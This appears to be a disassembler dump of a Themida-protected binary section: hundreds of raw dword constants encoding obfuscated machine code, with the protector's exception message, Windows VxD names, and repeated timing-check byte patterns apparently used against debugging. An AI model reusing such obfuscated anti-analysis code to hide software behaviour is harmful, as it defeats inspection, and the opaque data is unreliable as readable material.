		dd 168C476Fh, 5B394189h, 0C1FAh, 69819400h, 5A75221Dh
		dd 420E320Eh, 4FC6B34Ch, 3F0B41DDh, 34DAC3DAh, 70FC41CDh
		dd 4FC745BDh, 6EE63228h, 7BE9352Dh, 3E1B8B5Fh, 0F6194FC7h
		dd 2879231Ch, 0AEFAEDFCh, 0CD64AE1Ah, 0E3E7556Bh, 498EEB50h
		dd 8DD9839Eh, 81CD88B1h, 0A11563C6h, 93560EEBh,	0AD8FA26Ch
		dd 0A1A5A997h, 534FD458h, 0B0A790ACh, 87B0EC64h, 0ADAA84D0h
		dd 18C866B2h, 0DDCCB9C2h, 1DFA392h, 3E2E0000h, 3C194AF2h
		dd 411748F0h, 441A3BF5h, 481F40F8h, 0FDC554FCh,	29135F78h
		dd 1B156178h, 331D697Ah, 2C247062h, 0F66884A8h,	36561222h
		dd 6681939Fh, 0B64F9B50h, 68B4B18Ah, 1D98ACEh, 0F6DF7BB5h
		dd 0B19893DFh, 6981DF65h, 667A221Dh, 0B300767Ah, 0CD344FC6h
		dd 0C6B30F7Fh, 317D524Fh, 7BDC36D9h, 5A211B67h,	5A76D2EAh
		dd 498EB605h, 0E57FC867h, 9509E5F9h, 97560EB7h,	0B76ADC78h
		dd 0A2CA560Eh, 0EB7D8CEh, 4CB55C56h, 0B7B0AAC2h, 7FB7560Eh
		dd 15B1CE44h, 4ED25B39h, 6C000000h, 2F7B5586h, 2E010DF4h
		dd 88D0F40Eh, 0F6ACF6CEh, 961D310Fh, 92498F44h,	0BD66B2A9h
		dd 0BC4A434Ch, 0B072BCA3h, 11C2F351h, 0B9A77AC5h, 0F62C1B5h
		dd 828C7356h, 62BBAFBDh, 90AC560Fh, 0C965B1A7h,	0C9D64C87h
		dd 0BA5B39C4h, 2Fh, 0B31D9654h,	1E1E4FC6h, 55865A06h, 87E32F7Bh
		dd 498EBA80h, 0EAE3D4E8h, 0B0BCA59Eh, 560EBBBEh, 8C02CE6Eh
		dd 0A0560EBBh, 9C8EA881h, 5B81BB75h, 5975D3E9h,	498EABAAh
		dd 584E223Eh, 0DC560ECCh, 0FF4B0235h, 0CF51DD44h, 0E55DF730h
		dd 82560ECBh, 0E8FB7154h, 9B5B392Ah, 18h, 7C558633h, 148EE630h
		dd 274FC6B3h, 8D61FF15h, 498EBA82h, 99E34DB4h, 2F7B5586h
		dd 0AEC4CE3h, 2E130C58h, 9B5069D7h, 0D397C34Fh,	498DE122h
		dd 936F110h, 0A4B0551h,	79130C58h, 4E9FA1DEh, 0B8B18AD6h
		dd 7C2D7E6Ah, 6AC342C3h, 0D64B8AD0h, 0DF80B804h, 0D384BF0Bh
		dd 0B474AFFBh, 0E3F7679Eh, 0C383F3F7h, 4EB1519Fh, 9FC38C02h
		dd 0B0BCA051h, 519FC3BEh, 0A07A936Eh, 0F55FABBFh, 0E962AEA4h
		dd 1474h, 5C0F2800h, 0E8321710h, 435635Eh, 0D11D394Fh
		dd 1AF356h, 1F6B8146h, 135F7324h, 28746718h, 1D69801Fh
		dd 0E5A7522h, 216D6215h, 115D7926h, 236F6916h, 125E7728h
		dd 54557419h, 4C5815Dh,	83000000h, 2C8704EDh, 89525C24h
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 2434895Ch, 44FB68h
		dd 241C8900h, 76BD5551h, 815F572Bh, 0AA16F0F5h,	5DE98950h
		dd 0B66E18BEh, 59CE3109h, 241C8B54h, 6804C483h,	3E14h
		dd 8F243489h, 34FF0843h, 0C4835B24h, 24348B04h,	81E68956h
		dd 4C6h, 4C68100h, 87000000h, 0E95C2434h, 0FFFD0A8Bh, 0B82E251Eh
		dd 64B7257h, 0E0FFC503h, 0FEFC04Ch, 3D16B528h, 4FEA6EDFh
		dd 34EB0274h, 6B597B6Eh, 2C4A6FACh, 59D7C77Ah, 3F9580E7h
		dd 7DC16BE5h, 28CAAF67h, 587D6769h, 12372BFFh, 20F7E533h
		dd 255CAEh, 4D440B88h, 100415C4h, 9CE5356h, 72B29EE5h
		dd 519B68A0h, 74BA667Fh, 748A85D3h, 5A8A3AE8h, 18D7A756h
		dd 12E61A61h, 730BF14Dh, 4FB1F7F7h, 0B6A56E8h, 700A7B8Ah
		dd 1C6E0295h, 5792954Dh, 13E8h,	1DF5C700h, 0D84269D0h
		dd 525D54E9h, 83130EDEh, 6E4FCA3Dh, 5FD68B66h, 0C78110B1h
		dd 72BDh, 48C0Fh, 0B9660000h, 0B89825h,	0E8000000h, 0Eh
		dd 0CB6B3842h, 678D4911h, 6DADF841h, 8B66D237h,	34FF59D7h
		dd 0D2816638h, 0F5EE20Eh, 0F681D1BFh, 55F6AC33h, 0FE953h
		dd 6C150000h, 0ABB33CA0h, 26025C2Dh, 13B1E756h,	0C681594Ch
		dd 94E51A3h, 0BAD98166h, 2EC681C8h, 0E97D3B6Ch,	9, 91B5728h
		dd 751BA34Eh, 7348938h,	6E931B7h, 4E000000h, 1F01DF5Bh
		dd 89E88161h, 0F244F8Eh, 48Bh, 0BDBB6600h, 85C081DDh, 0E9244F8Eh
		dd 9, 2E869005h, 0A448696h, 40F8819Ah, 0FFFFF8Eh, 1085h
		dd 30E900h, 71120000h, 112B5DCFh, 6A935929h, 0C830F3Ah
		dd 0E9000000h, 7, 29C14BBh, 0E9DA63E6h,	0FFFFFF52h, 2E7DE471h
		dd 5BBB87C3h, 2C0868Ah,	34EB1EA2h, 4D534649h, 20205247h
		dd 20444B56h, 20202020h, 204D4D56h, 20202020h, 4E495756h
		dd 20203233h, 4C445856h, 20205244h, 3 dup(0)
		dd 81CE9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0AC8EA3D3h, 0E90AAB9Ah, 0Bh, 509BDA77h
		dd 18F5C8F4h, 60B84DA8h, 0E82BA66h, 6061C6B1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 7EC35545h, 0FEB59D1h
		dd 1587h, 10E900h, 0CD430000h, 640AD6E2h, 0A2FAE0A2h, 7D1A4A6h
		dd 0C7FCB27Bh, 4B748585h, 6, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 250A7167h
		dd 88A77652h, 7E9C68Bh,	36000000h, 0BEC6C8CFh, 0BE98E2Fh
		dd 5B000000h, 0E7D7A627h, 6BBAE3F8h, 0B70F1ACDh, 56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0F7BE604Eh, 0F07BA0Eh, 68Fh,	820F00h, 61000000h, 18880Fh
		dd 8C0F0000h, 12h, 0DE9h, 0F14A7D00h, 0BEF7F3C1h, 0CB3244EEh
		dd 0E8C1181Eh, 0E8E0F10h, 60000000h, 5E8F5h, 0A5090000h
		dd 5A8C0E41h, 0C166F861h, 6A08C8h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0B3E9E1C3h, 0AE9h, 63E46F00h
		dd 0E62BCC50h, 892468FAh, 4B748985h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 85521A62h
		dd 66F9F94Fh, 0F908CBC1h, 0F40FB83h, 0CB85h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 5B10D962h, 860F8E09h, 0Ch, 6820Fh, 820F0000h, 0
		dd 745DBD8Dh, 6A064Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0FAC594C3h, 816026D5h, 0C34EEEE7h
		dd 0FE837h, 8DD10000h, 14DD77FFh, 6A40004Eh, 3BE73049h
		dd 0F78B664Ah, 12E96159h, 1F000000h, 5E176D8Dh,	0E229582Bh
		dd 8873D21Ah, 0A94DAB93h, 21BE9DEh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0BD0D06C3h
		dd 11E9F8B6h, 0F0000000h, 0A0E641CDh, 1106ABF6h, 936DF13Eh
		dd 28C9033Eh, 0F0DFB83h, 8285h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 3558D701h
		dd 7E3B7BFEh, 0F602853h, 38Bh, 0CE8B6600h, 0BAC7BE66h
		dd 0C8B0F61h, 0F000000h, 68Eh, 850F00h,	8D000000h, 4B7465BDh
		dd 0F5806006h, 0EE9C4h,	48380000h, 2CEE9686h, 9131D4ABh
		dd 0DB17C0E1h, 173E961h, 0DE90000h, 4D000000h, 0B6A15628h
		dd 83D55993h, 6FD9AB5Fh, 18C0Fh, 83F50000h, 850F01FBh
		dd 6Ch,	38A0F60h, 0F000000h, 0E953C6BFh, 9, 3722DA0Ch
		dd 5AFA2841h, 8D6159D1h, 4B746DBDh, 0EE906h, 0ABBF0000h
		dd 9AAFF3F9h, 0A7F7528Ch, 338A5633h, 118E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0FDAD48E5h, 0FB6C30Fh, 0B8Fh, 6E900h, 0B0C30000h, 0E1C3B043h
		dd 0F2AFB83h, 4485h, 2B16000h, 0F86103B2h, 7475BD8Dh, 6A064Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 60B9B5C3h, 394DDABEh, 5E8600Dh, 17000000h, 84FCD1ABh
		dd 0E9616159h, 99h, 27FB83F9h, 34A850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 81FA89C3h, 2725613Eh, 0BA666080h, 0E2BE3A46h, 61466D95h
		dd 0C800Fh, 820F0000h, 6, 8D0Fh, 0BD8D0000h, 64B747Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 8AC35040h
		dd 0F2B70F60h, 11820Fh,	0CE90000h, 0A000000h, 0FE67542Bh
		dd 0CD0D16B5h, 6154E0FCh, 0CE9h, 4033D900h, 0AD6BDA67h
		dd 0B94EFF4Eh, 8DBD89E7h, 6A064B74h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0CE05C353h
		dd 0AC21CED6h, 1850F77h, 0F8000000h, 60C88C66h,	6830Fh
		dd 0D8810000h, 259E9BF5h, 32461FCh, 6E9h, 5A723C00h, 0A5758D9h
		dd 0DE850FC0h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 9A0EC357h, 606094A5h
		dd 860Fh, 0CF810000h, 73CC8899h, 81BE6661h, 0BE961C2h
		dd 9E000000h, 683F5E83h, 73E9A133h, 0B58DB8C9h,	64B7BCBh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 82C35343h
		dd 0CE90BD2h, 2C000000h, 13F33D42h, 9D282A56h, 8B2067B6h
		dd 4B7C2985h, 0C840F06h, 60000000h, 0B4D81ABAh,	0CE81666Ch
		dd 92614C7Fh, 6E9h, 9A60EB00h, 50A07A07h, 0EE9h, 46955D00h
		dd 0C7DA1BF2h, 0BC2554F1h, 92D16931h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 52C35242h, 5BA5ABEBh, 8D0FBA4Ch
		dd 1, 4C010FF5h, 6AFE24h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0B744E9C3h, 57006A5Ah
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0D65B1740h, 3C4ED891h, 6A24C283h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 95AC357h
		dd 0FC1F29EFh, 0FC728966h, 10CEC1FCh, 13E9h, 0CE30FA00h
		dd 0C74CF61Bh, 80692EC3h, 0AEC4A064h, 0D869961Bh, 2728966h
		dd 0EE9h, 6423FF00h, 0E86986E5h, 4FB4969Ch, 60A9C828h
		dd 0FE9h, 28C6CA00h, 0A213FF89h, 21451F85h, 6ABDD9F9h
		dd 5E9h, 7DF52700h, 0CD61EA75h,	10E904h, 0A1CB0000h, 738C7191h
		dd 8689F182h, 0D7710A05h, 95E94788h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 492C352h, 7C9784Fh, 0F8B5A2A3h, 29858BFCh, 60064B7Ch
		dd 80F18B66h, 0F96197DAh, 7BCBB58Dh, 8F0F064Bh,	9, 0F7816660h
		dd 5E535016h, 73858D61h, 6A064B4Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0FC6C353h
		dd 181h, 0D0FFF800h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0B4C35040h, 0F5AE3ADAh, 74858589h, 8C0F064Bh
		dd 0Ch,	68E0Fh,	890F0000h, 0
		dd 858BF561h, 64B7485h,	4184BE60h, 0D3812EE3h, 63D6F2BCh
		dd 6AC361h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0C804A5C3h, 0B460E2E5h, 6A60615Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0D81DC351h, 7C29BD83h, 0F00064Bh, 2B85h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 64152240h, 2985C7E7h, 3F064B7Ch, 0FC000101h,	1E9h, 20CDF800h
		dd 0
		dd 3774C00Bh, 8B0C708Dh, 4B748DBDh, 8B906h, 75A60000h
		dd 0FA754922h, 8B30488Bh, 4B74899Dh, 34583B06h,	0D38B157Fh
		dd 304D26Bh, 89018BCAh,	4B748585h, 8B04EB06h, 61C5EB00h
		dd 7485858Bh, 6ACF064Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 8CE5C355h, 8ED0CC07h
		dd 6AF9E3h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 8BDCD2C3h, 0E8C08BABh, 0Ah, 0E941BD4h, 541359A9h
		dd 860F86CFh, 5, 0C9D195BAh, 0F8575F39h, 0C4C7815Bh, 0F000070h
		dd 487h, 0A7BB6600h, 10DAB83Fh,	0E88174B6h, 74B5F4D5h
		dd 8B40EB80h, 0D18B660Fh, 0CFCEC181h, 81FC5B2Bh, 9650B3C1h
		dd 0E9606022h, 0Eh, 5B5DFFF3h, 51A93604h, 826A2BA0h, 6160AA82h
		dd 14840F61h, 0E9000000h, 0Fh, 28C6CA1Ah, 0A213FF89h, 21451F85h
		dd 61BDD9F9h, 0EF9DF181h, 0BA660A29h, 0F896781h, 81DABF0Fh
		dd 196A93EFh, 0DE81565Ch, 7BCF289h, 8FC7815Bh, 0F5C196Ah
		dd 0E881DABFh, 1, 0FF89850Fh, 8E0FFFFFh, 0
		dd 0DE8h, 6BFD3100h, 0EF89B81Eh, 0C29228A9h, 8B0F3681h
		dd 3, 5EC1B70Fh, 0C68180B0h, 743Dh, 11E852h, 51A30000h
		dd 0F7CAB5DAh, 0FD7E3D0Fh, 64333D02h, 0F89F6235h, 0BA5F5Fh
		dd 81000000h, 11B347C8h, 3234FF0Ch, 0E98159FCh,	2386D1A9h
		dd 81C0BF0Fh, 0BAC256F1h, 0B9F78062h, 8BF0C181h, 8E0F39F3h
		dd 1Ch,	880F60h, 0E9000000h, 0Fh, 8A19D9DDh, 239DAF6Ch
		dd 0C0495A42h, 613BC6EFh, 16048F51h, 1820F60h, 0F8000000h
		dd 0EE9h, 60B25500h, 28296EDBh,	71F59312h, 61D58A28h, 83FABF0Fh
		dd 0E2B004EAh, 8CB4FA81h, 850FFFFFh, 12h, 0F2DFD881h, 33E97DD2h
		dd 0A6000000h, 0F7679304h, 14E941A2h, 0D3000000h, 33CC5898h
		dd 0AA07CA65h, 0ECF4C7Eh, 27BC53F2h, 0E9EBCA71h, 0FFFFFF5Dh
		dd 0C0776CB2h, 8BFE04Dh, 7A84256Ch, 83E9378Fh, 53000000h
		dd 57565251h, 1C245C8Bh, 4D3B8166h, 68850F5Ah, 0F000000h
		dd 33C43B7h, 3B8166D8h,	850F4550h, 57h,	3785B8Bh, 8B1C245Ch
		dd 74032473h, 8B561C24h, 738B207Bh, 247C031Ch, 24740320h
		dd 0C983FC20h, 5C8B41FFh, 178B1C24h, 20245403h,	8A04C783h
		dd 74C08402h, 75033A08h, 0EB4243E8h, 75033AF2h,	0E1D15FE0h
		dd 0F04B70Fh, 386048Bh,	5F1C2444h, 5B595A5Eh, 330008C2h
		dd 0FFF1E9C0h, 0CA8BFFFFh, 400E9h, 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		dd 1191E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 173D0C3h, 480A81B5h, 2D858B06h
		dd 106482Ch, 48244585h,	24443906h, 0C2850F04h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 8E84C351h, 1BB9CA0Fh, 66194D1Bh, 1850Fh
		dd 0FF50000h, 685h, 91B50100h, 83064805h, 4804E5BDh, 840F0006h
		dd 7Dh,	38E0F60h, 80000000h, 0DE944C5h,	9C000000h, 0D4D420B6h
		dd 3F731728h, 1D865197h, 8830F61h, 0F000000h, 289h, 8D616000h
		dd 48387885h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0F4805964h, 32E5BD89h, 0E0FF0648h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 48C35646h
		dd 8701B78Bh, 0DE77EA99h, 5D858BD9h, 9064820h, 480C999Dh
		dd 24443906h, 6E850F04h, 0F000000h, 1780h, 12E900h, 34B90000h
		dd 9036DDB9h, 3B0711E1h, 0CBAEAAAh, 1AEE9CA0h, 1B830Fh
		dd 0E8600000h, 0Dh, 0D129D9CDh,	99704A52h, 7940855Dh, 858B5EB9h
		dd 6480469h, 0F285C761h, 1064B82h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 8FDAC353h, 623C6197h, 284ABAE0h, 0E9F860F5h,	35h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 69C35747h, 0DDA6CD3Fh
		dd 0FB34338Dh, 6890F1Fh, 89000000h, 480A6595h, 6, 1B800h
		dd 85870000h, 64B84B2h,	0F675C00Bh, 276DB5FFh, 858F0648h
		dd 64B82EAh, 0FF6A206Ah, 1E0195FFh, 0BD830648h,	6481555h
		dd 6A087400h, 6195FF00h, 83064830h, 482F19BDh, 0D740106h
		dd 8068h, 0FFFF6A00h, 481E0195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 84FF64ADh
		dd 0D3A75714h, 68E0Fh, 0BD890000h, 6481F59h, 2E858D09h
		dd 85310648h, 6481011h,	0B8h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0FE955B0h
		dd 19000000h, 0B03CAF25h, 0B0CC67C2h, 207BCDB2h, 9509E2E3h
		dd 6480EE5h, 2824548Bh,	0B880Fh, 66600000h, 858BD08Bh
		dd 6482545h, 8589FC61h,	64824CDh, 68A0Fh, 0B5890000h, 6482CCDh
		dd 3CBEh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 68B0F5Fh,	29000000h, 4827BD9Dh, 7403FC06h
		dd 0BE92424h, 0F1000000h, 449A3725h, 0E346642Eh, 0AD666EA8h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 3C35040h
		dd 0B445D8AEh, 0CDBD3134h, 6006481Ch, 1D918529h, 0BA660648h
		dd 36115D5h, 6A242444h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 9841C357h, 5E9h, 0B5447700h
		dd 0F50A614h, 0E8Fh, 9E900h, 98580000h,	0B334AA7h, 896046A3h
		dd 9D892404h, 64815F9h,	0E978408Bh, 6, 17A04D00h, 0BD83CBBBh
		dd 64B82F2h, 11850F00h,	6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 1C0FC350h
		dd 0E3B72DDCh, 0F98529EBh, 0E9064828h, 0Eh, 29682F6h, 6D482528h
		dd 0F72E69E4h, 50F98893h, 0E880Fh, 50600000h, 5A310F52h
		dd 840F58h, 61000000h, 9240489h, 482B3DB5h, 24448B06h
		dd 50006A2Ch, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 77865B67h, 0C1558EAAh, 0BE9h, 53849C00h
		dd 0A573854Eh, 9FBE3693h, 0BE990h, 0C0680000h, 3B0C8314h
		dd 0C12A1939h, 850F5076h, 0Ch, 7E9h, 2DD9C900h,	839FFCD2h
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0FDB58937h, 8D06480Ah, 4B45D985h, 0B5B52906h
		dd 0FF06481Bh, 53006AD0h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0EBF52D3Ah, 0A5486D64h
		dd 9D89725Ah, 6480C41h,	28244403h, 18B0Fh, 8BF80000h, 60601840h
		dd 19699D29h, 0F5800648h, 0B70F614Dh, 6A4061FEh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 6D42C352h, 89BAFDA6h, 4818ADBDh, 12E906h, 243D0000h
		dd 82D050B7h, 28879AE0h, 0CD60C30h, 0D0E3AEBCh,	82EE8589h
		dd 8589064Bh, 6482369h,	0CE958h, 640D0000h, 1A8CC25Fh
		dd 407533DCh, 708B4789h, 53006A78h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 5BBFA92Ch, 0C683F9BEh
		dd 858B601Ch, 6482D1Dh,	0C919529h, 29610648h, 481BD985h
		dd 6A9606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0F2E4CC3h, 68Eh, 0A5950100h, 0F9064822h
		dd 24247C81h, 10000000h, 112870Fh, 95090000h, 6481BF9h
		dd 0B8B0F50h, 60000000h, 310F5250h, 8B66585Ah, 48961D6h
		dd 71B58924h, 8B064825h, 6A282444h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 74C3C352h
		dd 7C052862h, 0FE9BB89h, 0E5000000h, 11235A5Ch,	876B2431h
		dd 948130D3h, 90FC116Ch, 9E95250h, 0B1000000h, 6A8644B2h
		dd 0A8A1101Fh, 5250310Fh, 8D0Fh, 310F0000h, 8D0Fh, 585A0000h
		dd 0F50585Ah, 128Eh, 0C8A0F00h,	0E9000000h, 7, 9131C54h
		dd 90C19056h, 6850Fh, 8D890000h, 6482059h, 45D9858Dh, 6A064Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0F19B81C3h, 0FE007C0h, 688h,	15950100h, 0FF06482Eh
		dd 51006AD0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 7399AED2h, 8D29EBF9h, 64810D1h, 6890Fh
		dd 0B5890000h, 6481EE9h, 7403FC96h, 6A2424h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 10FBBC3h
		dd 48271D8Dh, 99BD8D06h, 0F8064819h, 7C81F5ADh,	2424h
		dd 870F1000h, 15Bh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 2CC35040h, 0BCF4346Eh, 0E9EB9976h, 0Dh
		dd 0C7DD10ABh, 0C94F3B0Ah, 44E1ED7Ch, 525090EFh, 52505250h
		dd 585A310Fh, 870F310Fh, 0
		dd 310F585Ah, 2E96BF60h, 8C0F1562h, 0
aAzxps		db 'aZXPИ',8,0
		align 4
		dd 3ADAB400h, 0CEB371AEh, 6A9014h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0D660D7C3h, 0E73268F8h
		dd 0B5B531ADh, 8B06480Ah, 0F5282444h, 0E96090F8h, 0Ch
		dd 0E35500A9h, 2B636DC1h, 0B4530A6Fh, 10E8h, 0FAF7CF00h
		dd 7A2BD0EFh, 0D784E00Ch, 55919D25h, 9E9FAh, 0F0FD0000h
		dd 99AD4C44h, 5838E0F0h, 52505061h, 61C88A60h, 830F310Fh
		dd 6, 8A0Fh, 585A0000h,	55006A90h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 7C9827ADh, 0FD08752h
		dd 686h, 0D5952900h, 8D064808h,	4B45D985h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0E9D00504h, 5, 705426B0h, 0D0FFF923h, 6870F60h, 81000000h
		dd 8A57D6EAh, 0D9816624h, 3613CC3h, 0F9242444h,	51006AABh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0F5A7C4B7h, 0FA81h, 820F0001h, 780h,	6880Fh,	0BD890000h
		dd 64826C9h, 531BD8Dh, 6A0648h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0C446BFC3h, 60F13B84h
		dd 8589F960h, 6480E19h,	10318D29h, 6AAD0648h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0A16FC352h, 0AD80E8CDh, 81D479C5h, 24247Ch, 0F100000h
		dd 12587h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 840F78E2h, 1, 525090F5h, 5E9h, 0C8E0A000h
		dd 310FDA91h, 665E5160h, 5A61C68Bh, 8A0F5058h, 0Eh, 830F5250h
		dd 0
		dd 6160310Fh, 6A90585Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0E489C356h,	448BB615h
		dd 6A2824h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		db 24h,	4, 18h
byte_5759C7	db 0			; DATA XREF: Themida_:0053E168o
		dd 53430000h, 78EE2AC3h, 90F8EF1Eh, 52505660h, 585A310Fh
		dd 0D68B665Bh, 52505061h, 66585060h, 61C6BBB9h,	5250310Fh
		dd 310F6160h, 880Fh, 585A0000h,	0E990585Ah, 7, 284ABAE0h
		dd 8DE9E3BDh, 4B45D985h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 12E93Ah, 0CE140000h, 0EBA633F7h
		dd 86416DBFh, 3399EE8Dh, 3EABCE80h, 6AD0FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 440378C3h
		dd 6A2424h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0FB581C3h, 1181h,	5A516000h, 8E9h, 0A934A900h
		dd 0B6D0A4F7h, 90FC617Ch, 52506060h, 585A310Fh,	0B1615856h
		dd 50506135h, 0BE86052h, 60000000h, 680066EFh, 15B84A2Ah
		dd 665F9822h, 0F61D78Bh, 19860F31h, 0E9000000h,	14h, 0D95596AFh
		dd 76BF2E61h, 0A1CA07AAh, 0FA25E2E2h, 25E81835h, 6A90585Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 4B44C356h, 2ED4E2EBh, 6CB260ABh, 8EF2E081h
		dd 8D611C4Dh, 480E01BDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0C9753296h, 5E960DAh
		dd 0CE000000h, 5302C33Bh, 27E9958Bh, 29610648h,	48098D9Dh
		dd 0FD850106h, 0AD064815h, 247C81FCh, 28h, 10870F10h, 0E9000001h
		dd 0Fh,	8A25F2E0h, 4C296AA0h, 0FC6EC4E0h, 50C77C1Bh, 10E9h
		dd 0B1F45700h, 541512E2h, 0B93B8C39h, 7B0123CAh, 240489E4h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 3FC35545h
		dd 4E72A857h, 0F019016h, 682h, 2DB52900h, 8B064819h, 6A2C2444h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 8AF7C357h, 820FEA1Ah, 6, 1A598D29h, 50F80648h
		dd 52505250h, 310F5250h, 310F585Ah, 585A6160h, 5060310Fh
		dd 5A310F52h, 61616058h, 489585Ah, 6E924h, 64B20000h, 788360CAh
		dd 45D9858Dh, 6A064Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 2A5360C3h, 0D78C9503h, 0FFF5F63Dh
		dd 56006AD0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 19FC3456h, 0DDA27B97h, 32319D29h, 3F50648h
		dd 0F8282444h, 89F560ABh, 480E65BDh, 0FF5E6106h, 4B82EE8Dh
